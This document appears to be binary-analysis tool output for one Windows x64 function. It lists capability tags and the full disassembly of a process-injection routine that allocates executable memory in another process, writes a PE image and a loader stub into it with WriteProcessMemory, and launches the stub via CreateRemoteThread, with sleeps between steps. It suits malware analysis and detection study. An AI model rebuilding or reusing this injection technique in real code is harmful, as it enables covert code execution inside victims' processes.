Function at 0x140009770
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor edx, edx
mov rbx, rcx
test rcx, rcx
jne 0x1400097b4
mov rcx, qword [0x1400280b0]
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140009b7c
mov rax, qword [0x1400280a0]
mov r9d, 0x3000
mov qword [rsp + 0x88], rdi
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rax + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140009808
mov rcx, qword [0x1400280b0]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140009b74
mov ecx, 0xfa
mov qword [rsp + 0x80], r14
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x1400280a0]
xor r14d, r14d
mov r8, qword [0x1400280b0]
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], r14
mov r9d, dword [rax + 0x54]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000987f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400280b0]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
jmp 0x140009b6c
mov qword [rsp + 0xa8], rbp
mov ecx, 0xfa
mov qword [rsp + 0xb0], rsi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x1400280a0]
mov rbp, r14
lea rcx, [rax + 0x108]
mov qword [0x1400280b8], rcx
cmp r14w, word [rax + 6]
jae 0x140009906
mov rsi, r14
nop dword [rax]
mov r8d, dword [rsi + rcx + 0x14]
mov edx, dword [rsi + rcx + 0xc]
mov r9d, dword [rsi + rcx + 0x10]
add rdx, rdi
add r8, qword [0x1400280b0]
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [0x1400280a0]
lea rsi, [rsi + 0x28]
inc rbp
movzx ecx, word [rax + 6]
cmp rbp, rcx
jae 0x140009906
mov rcx, qword [0x1400280b8]
jmp 0x1400098c0
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140009a6e
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400280a8]
movsxd rcx, dword [rax + 0x3c]
add rcx, rdi
mov qword [rsp + 0x48], rcx
mov rcx, qword [0x1400280a0]
mov eax, dword [rcx + 0xb0]
add rax, rdi
mov qword [rsp + 0x50], rax
mov eax, dword [rcx + 0x90]
mov ecx, 0xfa
add rax, rdi
mov qword [rsp + 0x58], rax
mov rax, qword [0x1400181e8]
mov qword [rsp + 0x60], rax
mov rax, qword [0x1400181f0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x30
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x40]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009b02
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x1400092e0]
mov qword [rsp + 0x20], r14
lea r9, [fcn.140009420]
mov rcx, rbx
sub r9, r8
lea rdx, [rsi + 0x30]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009b02
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], r14
lea r9, [rsi + 0x30]
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, 0xfa
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbp, rbp
jne 0x140009a85
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140009ae4
or edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x70]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x70], r14d
jne 0x140009b06
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400280b0]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
jmp 0x140009b5c
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1400280a0]
cmp dword [rax + 0x28], r14d
je 0x140009b02
mov rcx, qword [0x1400280b0]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400149d0
add rsp, 0x90
pop rbx
ret